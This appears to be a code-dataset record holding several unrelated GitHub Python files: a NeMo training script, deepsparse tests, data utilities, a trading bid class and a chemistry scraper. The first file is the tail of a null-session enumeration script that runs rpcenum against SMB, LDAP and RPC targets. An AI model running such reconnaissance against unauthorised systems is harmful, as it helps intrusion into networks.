subprocess.check_output([\"./rpcenum\", \"-i\", l, \"-e\", \"All\"], text=True)\n print(result)\n print(Style.RESET_ALL)\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-s\", \"--smb-targets\", type=str,\n help=\"The file containing targets running SMB\")\n parser.add_argument(\"-l\", \"--ldap-targets\", type=str,\n help=\"The file containing targets running LDAP\")\n parser.add_argument(\"-r\", \"--rpc-targets\", type=str,\n help=\"The file containing targets running RPC\")\n return parser.parse_args()\n\ndef main():\n args = parse_args()\n targets_smb = args.targets_smb\n targets_ldap = args.targets_ldap\n targets_rpc = args.targets_rpc\n printBanner()\n smb_enum(targets_smb)\n ldap_enum(targets_ldap)\n rpc_enum(targets_rpc)\n\n\t\nif __name__ == '__main__':\n main()\n", "repo_name": "lyethar/invoke-initrecon", "sub_path": "null-sesh.py", "file_name": "null-sesh.py", "file_ext": "py", "file_size_in_byte": 2721, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "colorama.Fore.YELLOW", "line_number": 12, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 12, "usage_type": "name"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 18, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 18, "usage_type": "name"}, {"api_name": "os.system", "line_number": 22, "usage_type": "call"}, {"api_name": "colorama.Fore.GREEN", "line_number": 24, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 24, "usage_type": "name"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 25, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 25, "usage_type": "name"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 26, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 26, "usage_type": "name"}, {"api_name": "os.system", "line_number": 27, "usage_type": "call"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 28, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 28, "usage_type": "name"}, {"api_name": "os.system", "line_number": 33, "usage_type": "call"}, {"api_name": "colorama.Fore.GREEN", "line_number": 41, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 41, "usage_type": "name"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 42, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 42, "usage_type": "name"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 43, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 43, "usage_type": "name"}, {"api_name": "os.system", "line_number": 44, "usage_type": "call"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 45, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 45, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 49, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 50, "usage_type": "call"}, {"api_name": "os.chmod", "line_number": 51, "usage_type": "call"}, {"api_name": "stat.S_IXOTH", "line_number": 51, "usage_type": "attribute"}, {"api_name": "colorama.Fore.GREEN", "line_number": 58, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 58, "usage_type": "name"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 59, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 59, "usage_type": "name"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 60, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 60, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 61, "usage_type": "call"}, {"api_name": "colorama.Style.RESET_ALL", "line_number": 63, "usage_type": "attribute"}, {"api_name": "colorama.Style", "line_number": 63, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 66, "usage_type": "call"}]} {"seq_id": "40770274197", "text": "import nemo\nimport nemo.collections.asr as nemo_asr\nfrom ruamel.yaml import YAML\nfrom omegaconf import DictConfig\nimport pytorch_lightning as pl\nfrom pytorch_lightning.loggers import WandbLogger\nfrom pytorch_lightning.callbacks import EarlyStopping, ModelCheckpoint\n\ndef main():\n model_name = \"QuartzNet15x5Base-En\"\n # model_name = \"stt_en_jasper10x5dr\"\n model = nemo_asr.models.EncDecCTCModel.from_pretrained(model_name=model_name)\n\n config_path = \"config.yaml\"\n yaml = YAML(typ=\"safe\")\n\n with open(config_path) as f:\n params = yaml.load(f)\n\n params[\"model\"][\"train_ds\"][\"manifest_filepath\"] = \"train_manifest.json\"\n params[\"model\"][\"train_ds\"][\"batch_size\"] = 128\n params[\"model\"][\"train_ds\"][\"max_duration\"] = 5\n params[\"model\"][\"train_ds\"][\"num_workers\"] = 4\n params[\"model\"][\"train_ds\"][\"pin_memory\"] = True\n\n params[\"model\"][\"validation_ds\"][\"manifest_filepath\"] = \"val_manifest.json\"\n params[\"model\"][\"validation_ds\"][\"batch_size\"] = 128\n params[\"model\"][\"validation_ds\"][\"num_workers\"] = 4\n params[\"model\"][\"validation_ds\"][\"pin_memory\"] = True\n\n params[\"model\"][\"optim\"][\"name\"] = \"novograd\"\n params[\"model\"][\"optim\"][\"lr\"] = 1e-3\n params[\"model\"][\"optim\"][\"sched\"][\"warmup_ratio\"] = 0.1\n\n model.setup_optimization(optim_config=DictConfig(params[\"model\"][\"optim\"]))\n model.setup_training_data(train_data_config=DictConfig(params[\"model\"][\"train_ds\"]))\n model.setup_validation_data(val_data_config=DictConfig(params[\"model\"][\"validation_ds\"]))\n\n logger = WandbLogger(project=\"ai-blitz-9\", name=\"adamw-lr1e-3\", log_model=True)\n logger.watch(model)\n \n trainer = pl.Trainer(\n gpus=[0], \n max_epochs=100,\n precision=16,\n callbacks=[\n EarlyStopping(monitor=\"val_loss\"),\n ModelCheckpoint(monitor=\"val_loss\")\n ],\n logger=logger\n )\n\n trainer.fit(model)\n\nif __name__ == \"__main__\":\n main()", "repo_name": "TanHaus/ai-blitz-9", "sub_path": "sound-prediction/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 1943, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "nemo.collections.asr.models.EncDecCTCModel.from_pretrained", "line_number": 12, "usage_type": "call"}, {"api_name": "nemo.collections.asr.models", "line_number": 12, "usage_type": "attribute"}, {"api_name": "nemo.collections.asr", "line_number": 12, "usage_type": "name"}, {"api_name": "ruamel.yaml.YAML", "line_number": 15, "usage_type": "call"}, {"api_name": "omegaconf.DictConfig", "line_number": 35, "usage_type": "call"}, {"api_name": "omegaconf.DictConfig", "line_number": 36, "usage_type": "call"}, {"api_name": "omegaconf.DictConfig", "line_number": 37, "usage_type": "call"}, {"api_name": "pytorch_lightning.loggers.WandbLogger", "line_number": 39, "usage_type": "call"}, {"api_name": "pytorch_lightning.Trainer", "line_number": 42, "usage_type": "call"}, {"api_name": "pytorch_lightning.callbacks.EarlyStopping", "line_number": 47, "usage_type": "call"}, {"api_name": "pytorch_lightning.callbacks.ModelCheckpoint", "line_number": 48, "usage_type": "call"}]} {"seq_id": "37730243392", "text": "import os\nimport shutil\n\nimport yaml\n\nimport pytest\nfrom deepsparse.loggers.config import MetricFunctionConfig, PipelineLoggingConfig\nfrom deepsparse.loggers.metric_functions.helpers.config_generation import (\n _loggers_to_config_string,\n _metric_function_config_to_string,\n _metric_functions_configs_to_string,\n _nested_dict_to_lines,\n data_logging_config_from_predefined,\n)\nfrom deepsparse.loggers.metric_functions.registry import DATA_LOGGING_REGISTRY\n\n\nDATA_LOGGING_REGISTRY_W_DUMMY_GROUP = DATA_LOGGING_REGISTRY.copy()\nDATA_LOGGING_REGISTRY_W_DUMMY_GROUP.update(\n {\"dummy_group\": {\"dummy_target\": [\"dummy_func_1\", \"dummy_func_2\"]}}\n)\n\ndummy_logger_config = {\n \"some_logger\": {\"arg_1\": \"argument_1\", \"arg_2\": None},\n \"some_other_logger\": {\"arg_3\": 5.6, \"arg_4\": 10},\n}\nresult_1 = \"\"\"loggers:\n python:\n\ndata_logging:\n pipeline_outputs.labels:\n - func: predicted_classes\n frequency: 3\n pipeline_outputs.scores:\n - func: predicted_top_score\n frequency: 3\n pipeline_inputs.images:\n - func: image_shape\n frequency: 3\n - func: mean_pixels_per_channel\n frequency: 3\n - func: std_pixels_per_channel\n frequency: 3\n - func: fraction_zeros\n frequency: 3\"\"\"\n\nresult_2 = \"\"\"loggers:\n some_logger:\n arg_1: argument_1\n arg_2: None\n some_other_logger:\n arg_3: 5.6\n arg_4: 10\n\ndata_logging:\n pipeline_outputs.labels:\n - func: predicted_classes\n frequency: 3\n pipeline_outputs.scores:\n - func: predicted_top_score\n frequency: 3\n pipeline_inputs.images:\n - func: image_shape\n frequency: 3\n - func: mean_pixels_per_channel\n frequency: 3\n - func: std_pixels_per_channel\n frequency: 3\n - func: fraction_zeros\n frequency: 3\"\"\"\n\nresult_3 = \"\"\"loggers:\n some_logger:\n arg_1: argument_1\n arg_2: None\n some_other_logger:\n arg_3: 5.6\n arg_4: 10\n\ndata_logging:\n pipeline_outputs.labels:\n - func: predicted_classes\n frequency: 10\n pipeline_outputs.scores:\n - func: predicted_top_score\n frequency: 10\n pipeline_inputs.images:\n - func: image_shape\n frequency: 10\n - func: mean_pixels_per_channel\n frequency: 10\n - func: std_pixels_per_channel\n frequency: 10\n - func: fraction_zeros\n frequency: 10\n dummy_target:\n - func: dummy_func_1\n frequency: 10\n - func: dummy_func_2\n frequency: 10\"\"\"\n\n\n@pytest.mark.parametrize(\n \"group_names, frequency, loggers, save_dir, registry, expected_result\",\n [\n (\"image_classification\", 3, None, True, DATA_LOGGING_REGISTRY, result_1),\n (\n \"image_classification\",\n 3,\n dummy_logger_config,\n False,\n DATA_LOGGING_REGISTRY,\n result_2,\n ),\n (\n [\"image_classification\", \"dummy_group\"],\n 10,\n dummy_logger_config,\n True,\n DATA_LOGGING_REGISTRY_W_DUMMY_GROUP,\n result_3,\n ),\n ],\n)\ndef test_data_logging_config_from_predefined(\n tmp_path, group_names, frequency, loggers, save_dir, registry, expected_result\n):\n tmp_path.mkdir(exist_ok=True)\n\n string_result = data_logging_config_from_predefined(\n group_names=group_names,\n frequency=frequency,\n loggers=loggers,\n save_dir=tmp_path,\n registry=registry,\n )\n assert string_result == expected_result\n assert PipelineLoggingConfig(**yaml.safe_load(string_result))\n\n if save_dir:\n with open(os.path.join(tmp_path, \"data_logging_config.yaml\"), \"r\") as stream:\n string_result_saved = yaml.safe_load(stream)\n assert string_result_saved == yaml.safe_load(expected_result)\n return\n shutil.rmtree(tmp_path, ignore_errors=True)\n\n\nresult_1 = \"\"\"loggers:\n logger_2:\n arg_1: 1\n arg_2:\n arg_3: 3\n arg_4: 4\"\"\"\n\nresult_2 = \"\"\"loggers:\n logger_1:\"\"\"\n\n\n@pytest.mark.parametrize(\n \"loggers, expected_result\",\n [\n ({\"logger_2\": {\"arg_1\": 1, \"arg_2\": {\"arg_3\": 3, \"arg_4\": 4}}}, result_1),\n ({\"logger_1\": {}}, result_2),\n ],\n)\ndef test_loggers_to_config_string(loggers, expected_result):\n string_result = _loggers_to_config_string(loggers)\n assert string_result == expected_result\n\n\ndata_logging_config = {\n \"target_1\": [\n MetricFunctionConfig(func=\"some_func_1\", frequency=1),\n MetricFunctionConfig(func=\"some_func_2\", frequency=2),\n MetricFunctionConfig(func=\"some_func_3\", frequency=5),\n ],\n \"target_2\": [\n MetricFunctionConfig(\n func=\"some_func_4\",\n frequency=1,\n target_loggers=[\"logger_1\", \"logger_2\", \"logger_3\"],\n ),\n MetricFunctionConfig(func=\"some_func_5\", frequency=2),\n MetricFunctionConfig(func=\"some_func_6\", frequency=5),\n ],\n}\nresult = \"\"\"target_1:\n - func: some_func_1\n frequency: 1\n - func: some_func_2\n frequency: 2\n - func: some_func_3\n frequency: 5\ntarget_2:\n - func: some_func_4\n frequency: 1\n target_loggers:\n - logger_1\n - logger_2\n - logger_3\n - func: some_func_5\n frequency: 2\n - func: some_func_6\n frequency: 5\"\"\"\n\n\n@pytest.mark.parametrize(\n \"data_logging_config, expected_result\",\n [\n (data_logging_config, result),\n ],\n)\ndef test_nested_dict_to_lines(data_logging_config, expected_result):\n string_result = (\"\\n\").join(_nested_dict_to_lines(data_logging_config))\n assert string_result == expected_result\n\n\nresult_1 = \"\"\"- func: some_func_1\n frequency: 1\"\"\"\n\nresult_2 = \"\"\"- func: some_func_1\n frequency: 1\n- func: some_func_2\n frequency: 2\n target_loggers:\n - logger_1\n - logger_2\n- func: some_func_3\n frequency: 5\"\"\"\n\n\n@pytest.mark.parametrize(\n \"list_metric_function_configs, expected_result\",\n [\n ([MetricFunctionConfig(func=\"some_func_1\", frequency=1)], result_1),\n (\n [\n MetricFunctionConfig(func=\"some_func_1\", frequency=1),\n MetricFunctionConfig(\n func=\"some_func_2\",\n frequency=2,\n target_loggers=[\"logger_1\", \"logger_2\"],\n ),\n MetricFunctionConfig(func=\"some_func_3\", frequency=5),\n ],\n result_2,\n ),\n ],\n)\ndef test_metric_functions_configs_to_string(\n list_metric_function_configs, expected_result\n):\n string_result = _metric_functions_configs_to_string(list_metric_function_configs)\n assert string_result == expected_result\n\n\nresult_1 = \"\"\"func: some_func_1\nfrequency: 1\ntarget_loggers:\n - logger_1\n - logger_2\"\"\"\n\nresult_2 = \"\"\"func: some_func_2\nfrequency: 2\"\"\"\n\n\n@pytest.mark.parametrize(\n \"metric_function_config, expected_result\",\n [\n (\n MetricFunctionConfig(\n func=\"some_func_1\", frequency=1, target_loggers=[\"logger_1\", \"logger_2\"]\n ),\n result_1,\n ),\n (MetricFunctionConfig(func=\"some_func_2\", frequency=2), result_2),\n ],\n)\ndef test_metric_function_config_to_string(metric_function_config, expected_result):\n\n string_result = _metric_function_config_to_string(metric_function_config)\n assert string_result == expected_result\n", "repo_name": "neuralmagic/deepsparse", "sub_path": "tests/deepsparse/loggers/metric_functions/helpers/test_config_generation.py", "file_name": "test_config_generation.py", "file_ext": "py", "file_size_in_byte": 7098, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2498, "dataset": "github-code", "pt": "78", "api": [{"api_name": "deepsparse.loggers.metric_functions.registry.DATA_LOGGING_REGISTRY.copy", "line_number": 18, "usage_type": "call"}, {"api_name": "deepsparse.loggers.metric_functions.registry.DATA_LOGGING_REGISTRY", "line_number": 18, "usage_type": "name"}, {"api_name": "deepsparse.loggers.metric_functions.helpers.config_generation.data_logging_config_from_predefined", "line_number": 130, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.PipelineLoggingConfig", "line_number": 138, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 142, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 143, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 145, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 103, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 103, "usage_type": "attribute"}, {"api_name": "deepsparse.loggers.metric_functions.registry.DATA_LOGGING_REGISTRY", "line_number": 106, "usage_type": "name"}, {"api_name": "deepsparse.loggers.metric_functions.registry.DATA_LOGGING_REGISTRY", "line_number": 112, "usage_type": "name"}, {"api_name": "deepsparse.loggers.metric_functions.helpers.config_generation._loggers_to_config_string", "line_number": 167, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 159, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 159, "usage_type": "attribute"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 173, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 174, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 175, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 178, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 183, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 184, "usage_type": "call"}, {"api_name": "deepsparse.loggers.metric_functions.helpers.config_generation._nested_dict_to_lines", "line_number": 214, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 207, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 207, "usage_type": "attribute"}, {"api_name": "deepsparse.loggers.metric_functions.helpers.config_generation._metric_functions_configs_to_string", "line_number": 253, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 232, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 232, "usage_type": "attribute"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 235, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 238, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 239, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 244, "usage_type": "call"}, {"api_name": "deepsparse.loggers.metric_functions.helpers.config_generation._metric_function_config_to_string", "line_number": 281, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 267, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 267, "usage_type": "attribute"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 271, "usage_type": "call"}, {"api_name": "deepsparse.loggers.config.MetricFunctionConfig", "line_number": 276, "usage_type": "call"}]} {"seq_id": "6896365809", "text": "import json\nimport os\nimport pandas as pd\nfrom .sys_ops import get_dataset_path\nfrom .visualize_util import get_norm_corr\nfrom tensorflow.python.feature_column.feature_column_v2 import IndicatorColumn\n\nSUMMARY = 'summary.json'\nDATA_GRAPH = 'data_graphs.json'\n\n\ndef reorder_request(features, categories, defaults, list_features):\n dict_features = {}\n for f, c, d in zip(features, categories, defaults):\n dict_features[f] = {'category': c, 'default': d}\n cat_columns = [dict_features[c]['category'] for c in list_features]\n default_values = [dict_features[c]['default'] for c in list_features]\n return cat_columns, default_values\n\n\ndef remove_targets(features, targets):\n sfeatures = features.copy()\n for target in targets:\n if target in features.keys():\n sfeatures.pop(target)\n return sfeatures\n # raise ValueError('Target not in features')\n\n\ndef to_int_categories(df, target=None):\n if target is not None:\n del df[target]\n for c in df.columns:\n if df[c].dtype == 'object':\n df[c] = df[c].astype('category')\n cat_columns = df.select_dtypes(['category']).columns\n df[cat_columns] = df[cat_columns].apply(lambda x: x.cat.codes)\n\n return df\n\n\ndef drop_columns(df, feature_columns, targets):\n cols = []\n for x in feature_columns:\n if type(x) == IndicatorColumn:\n cols.append(x[0].key)\n else:\n cols.append(x.key)\n return df[cols + targets]\n\n\ndef get_feature_names(feature_columns):\n cols = []\n for x in feature_columns:\n if type(x) == IndicatorColumn:\n cols.append(x[0].key)\n else:\n cols.append(x.key)\n return cols\n\n\ndef get_feature_key(feature):\n if type(feature) == IndicatorColumn:\n return feature[0].key\n return feature.key\n\n\ndef prediction_from_df(file_path):\n df = pd.read_csv(file_path)\n df = df.fillna(0)\n data = df.as_matrix().tolist()\n columns = [{'title': v} for v in df.columns.values.tolist()]\n return {'data': data, 'columns': columns}\n\n\ndef get_summary(USER_ROOT, username, dataset_name):\n main_path = get_dataset_path(USER_ROOT, username, dataset_name)\n graph_json = os.path.join(main_path, SUMMARY)\n data = None\n if os.path.isfile(graph_json):\n with open(graph_json) as json_file:\n data = json.load(json_file)\n return data\n\n\ndef save_summary(USER_ROOT, username, dataset_name, data):\n main_path = get_dataset_path(USER_ROOT, username, dataset_name)\n graph_json = os.path.join(main_path, SUMMARY)\n with open(graph_json, 'w') as outfile:\n json.dump(data, outfile)\n\n\ndef get_tabular_graphs(USER_ROOT, username, dataset_name):\n main_path = get_dataset_path(USER_ROOT, username, dataset_name)\n graph_json = os.path.join(main_path, DATA_GRAPH)\n if os.path.isfile(graph_json):\n with open(graph_json) as json_file:\n data = json.load(json_file)\n return data\n return save_tabular_graphs(main_path, dataset_name, graph_json)\n\n\ndef save_tabular_graphs(main_path, dataset_name, graph_json, nrows=1000):\n df = pd.read_csv(os.path.join(main_path, dataset_name + '.csv'))\n if len(df) > nrows:\n df = df.sample(n=nrows)\n num_rows, df_as_json, norm, corr = get_norm_corr(df)\n data = {'data': json.loads(df_as_json), 'num_rows': num_rows, 'norm': norm, 'corr': corr}\n with open(graph_json, 'w') as outfile:\n json.dump(data, outfile)\n return data\n\n\ndef get_image_graphs(USER_ROOT, username, dataset_name):\n main_path = get_dataset_path(USER_ROOT, username, dataset_name)\n graph_json = os.path.join(main_path, DATA_GRAPH)\n if os.path.isfile(graph_json):\n with open(graph_json) as json_file:\n data = json.load(json_file)\n return data\n return None\n\n\ndef save_image_graphs(USER_ROOT, username, dataset_name, data):\n main_path = get_dataset_path(USER_ROOT, username, dataset_name)\n graph_json = os.path.join(main_path, DATA_GRAPH)\n with open(graph_json, 'w') as outfile:\n json.dump(data, outfile)\n", "repo_name": "machine2learn/ezeeai", "sub_path": "ezeeai/utils/feature_util.py", "file_name": "feature_util.py", "file_ext": "py", "file_size_in_byte": 4075, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tensorflow.python.feature_column.feature_column_v2.IndicatorColumn", "line_number": 45, "usage_type": "name"}, {"api_name": "tensorflow.python.feature_column.feature_column_v2.IndicatorColumn", "line_number": 55, "usage_type": "name"}, {"api_name": "tensorflow.python.feature_column.feature_column_v2.IndicatorColumn", "line_number": 63, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 69, "usage_type": "call"}, {"api_name": "sys_ops.get_dataset_path", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 82, "usage_type": "call"}, {"api_name": "sys_ops.get_dataset_path", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 90, "usage_type": "call"}, {"api_name": "sys_ops.get_dataset_path", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 98, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "visualize_util.get_norm_corr", "line_number": 107, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 108, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 110, "usage_type": "call"}, {"api_name": "sys_ops.get_dataset_path", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 119, "usage_type": "call"}, {"api_name": "sys_ops.get_dataset_path", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 128, "usage_type": "call"}]} {"seq_id": "6288638384", "text": "import datetime\nimport random\nimport time\n\n\"\"\"\n重新定义bid模式\n\nbid不应该以一个简单的报价模板的形式引入,而应该直接作为一个下单/回报/状态系统\n\n比如* QA_Send_bid()\n会回报一个状态 \n{\n 下单成功(10x):{\n 交易成功:100,\n 交易失败-报价不在范围:101,\n 交易失败-报价数量不符合规定:102,\n 交易状态-订单未完全成交:103,\n 交易状态-订单数量过大(交易价格变动):104,\n },\n 下单失败(20x):{\n 下单格式不符合规定:201,\n 下单关键数据缺失:202,\n 下单时间错误:203\n }\n}\n同时需要一个队列对于订单进行管理,形成一个先进先出的队列:\nBid-Job-Management-Center\n\n队列应该对于订单进行处理和排序,并分发给各种交易中心,然后得到各种交易中心的回报以后,封装结果并返回状态\n\n2017/6/18\n\n\"\"\"\n\n\nclass QA_QAMarket_bid():\n def __init__(self):\n self.bid = {\n 'price': float(16),\n 'date': str('2015-01-05'),\n 'time': str(time.mktime(datetime.datetime.now().timetuple())),\n 'amount': int(10),\n 'towards': int(1),\n 'code': str('000001'),\n 'user': str('root'),\n 'strategy': str('example01'),\n 'status': '0x01',\n 'order_id': str(random.random())\n }\n self.bid_list = [self.bid]\n # 报价队列 插入/取出/查询pytho\n\n def QA_bid_insert(self):\n self.bid_list.append(self.bid)\n\n def QA_bid_pop(self):\n self.bid_list.pop()\n\n def QA_bid_status(self):\n lens = len(self.bid_list)\n return {'status': lens}\n\n\n", "repo_name": "yutiansut/quant", "sub_path": "QUANTAXIS/QAMarket/QABid_advance.py", "file_name": "QABid_advance.py", "file_ext": "py", "file_size_in_byte": 1698, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.mktime", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 48, "usage_type": "call"}]} {"seq_id": "10343573843", "text": "'''\nThis file defines wikipedia webscraping functionalities.\n'''\n\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nfrom read_write.file_writer import write_dict\nfrom matcher.num_matcher import parse_float_or_int, parse_num_with_units\n\nfrom scraper.keys import conversion_table as conversions\nfrom scraper.keys import entropy_units, enthalpy_units, mass_units\n\ndef wikisearch(query) :\n '''\n Return a beautiful soap object of the 'query' wikipedia page.\n '''\n params = {'search': query}\n r = requests.get('https://en.wikipedia.org/w/index.php', params=params)\n return BeautifulSoup(r.text, 'lxml'), r.url\n\ndef soupsite(siteurl) :\n '''\n Return a beautiful soup object of siteurl.\n '''\n r = requests.get(siteurl)\n return BeautifulSoup(r.text, 'lxml')\n\ndef scrape_all_elements() :\n '''\n Scrape elements from wikipedia.\n Return a list containing element names and its symbol\n return {'name' : 'symbol'}\n '''\n link = 'https://en.wikipedia.org/wiki/List_of_chemical_elements'\n soup = soupsite(link)\n\n elements = []\n\n tables = soup.find_all('table')\n has_hydrogen = lambda x: 'Hydrogen' in x.prettify()\n element_table = list(filter(has_hydrogen, tables))[0]\n # print(element_table)\n\n rows = element_table.find_all('tr')\n is_element = lambda x: 'Notes' not in x.prettify()\n element_rows = list(filter(is_element, rows))\n \n for element in element_rows :\n info_array = [val.text for val in element.find_all('td')]\n if info_array :\n elem_no = info_array[0]\n symbol = info_array[1]\n name = info_array[2]\n mass_info = info_array[6]\n mass = parse_float_or_int(mass_info)\n\n # print('elem_no = ', elem_no)\n # print('symbol = ', symbol)\n # print('name = ', name)\n # print('mass = ', mass)\n\n element = {'elem_no': elem_no, 'symbol': symbol, 'name':name, 'mass': mass}\n elements += [element]\n # print()\n return elements\n\ndef write_mass_constants() :\n '''\n Write mass constand to a file in constants folder.\n '''\n elements = scrape_all_elements()\n order = ['symbol', 'mass', 'name', 'elem_no']\n write_dict('./constants/element_masses.csv', elements, order)\n\ndef unit_convert(value, unit) :\n '''\n For now, just convert MJ to kJ.\n '''\n if unit in conversions :\n newunit = conversions[unit][0]\n newvalue = conversions[unit][1] * value\n return newvalue, newunit\n return value, unit\n\n\ndef wiki_value_from_key(name, key, units) :\n '''\n Scrape table rows in that 'name' wikipedia page for the 'key' string.\n In that row, find a floating point value and return it.\n '''\n soup, url = wikisearch(name)\n trs = soup.find_all('tr')\n res_raw = False\n for tr in trs :\n if key in tr.text :\n res_raw = tr.text\n break\n if res_raw :\n # Parse float or int that precedes a unit.\n res_val, unit = parse_num_with_units(res_raw, units)\n converted_val, converted_unit = unit_convert(res_val, unit)\n print('According to %s, the %s of %s is %.2f %s' % (url, key, name, res_val, unit))\n if unit != converted_unit :\n print('This is converted to %.2f %s' % (converted_val, converted_unit))\n return converted_val\n else :\n res_val = 0.0\n print('We cannot find the %s value of %s (assume = 0.0).' % (key, name))\n return res_val\n\ndef entropy(name) :\n '''\n Return the standard molar entropy of 'name'\n '''\n return wiki_value_from_key(name, 'So298', entropy_units)\n\ndef enthalpy_formation(name) :\n '''\n Return the standard enthalpy of formation of 'name'\n '''\n return wiki_value_from_key(name, 'ΔfHo298', enthalpy_units)\n\ndef enthalpy_combustion(name) :\n '''\n Return the standard enthalpy of combustion of 'name'\n '''\n return wiki_value_from_key(name, 'ΔcHo298', enthalpy_units)\n\ndef wiki_mass(name) :\n '''\n Return the mass of 'name'\n '''\n return wiki_value_from_key(name, 'Molar mass', mass_units)\n\n\n", "repo_name": "ssantichaivekin/chem-calculator", "sub_path": "scraper/wiki_scraper.py", "file_name": "wiki_scraper.py", "file_ext": "py", "file_size_in_byte": 4116, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 20, "usage_type": "call"}, {"api_name": 